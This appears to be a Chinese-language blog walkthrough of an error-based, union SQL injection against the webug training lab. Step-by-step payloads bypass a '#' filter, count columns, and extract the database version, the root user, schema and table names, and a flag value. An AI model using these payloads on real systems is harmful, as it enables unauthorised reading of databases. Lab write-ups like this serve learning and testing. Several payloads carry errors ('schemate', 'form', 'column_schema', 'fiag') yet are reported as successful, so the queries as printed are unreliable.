如果还没有搭建webug靶场环境的,可以参考我写到这个教程进行搭建https://blog.csdn.net/liver100day/article/details/115857058
发现显示“这里有一个SQL语法错误”,说明此处有显错注入
输入1’ and ‘1’='1,如果正常返回则为字符型,如果返回错误则为数字型
可以看到页面正常返回了,说明此处是字符型SQL注入
1' order by 1 %23
,因为在这里,#被过滤掉了,所以我们选择使用#的16进制形式来绕过过滤
猜测列数为1,并未报错
接着进行猜测,构建语句:1' order by 3 %23
猜测列数为三,结果报错,所以列数为2
Union联合查询:
1.Union操作符用于拼接两个或者多select查询语句
2.Union中的每个查询必须拥有相同的列数,在前面我们已经查询到了数据库的列数为2
构建语句:1' union select 1,version() %23
爆破出数据库的版本为5.5.35-lubuntu1
构建语句:1' union select 1,user() %23
爆破出数据库用户名为:root@localhost
构建语句:1' union select 1,database() %23
爆破得到,数据库的名称为webug
在这里我们需要使用到mysql中的group_concat函数
函数语法:
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
它的作用是将查询到的值在一行中打印出来,更方便我们观看
一般情况下,每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数
不使用group_concat函数进行爆破,构建语句:1' union select 1,schema_name from information_schema.schemata%23
成功爆破出webug数据库中的所有表名,但是表名并没有进行分割,我们还是不知道具体的表名是什么,看着杂乱
使用group_concat函数进行爆破,构建语句:1' union select 1,group_concat(schema_name) from information_schema.schemate%23
也成功爆破出webug数据库中的所有表名,但是对表名用逗号进行了隔开,我们可以更好的看清楚
我猜测我想要的数据就在webug这个库里面
构建语句:
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='webug'%23
上面爆破出有一个表的名字为fiag,我们想要的数据就在这里面
构建语句:1' union select 1,group_concat(column_name)form information_schema.columns where column_schema='flag'%23
成功爆破出字段名
上面已经爆破出字段名了,直接爆破拿到flag字段里面的数据就好
构建语句:1' union select 1,flag from flag%23
成功爆破出flag中的数据:dfafdasfafdsadfa
接下来再去提交flag
显示flag正确,说明注入成功
好了,注入流程到这里就结束了
后言:最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!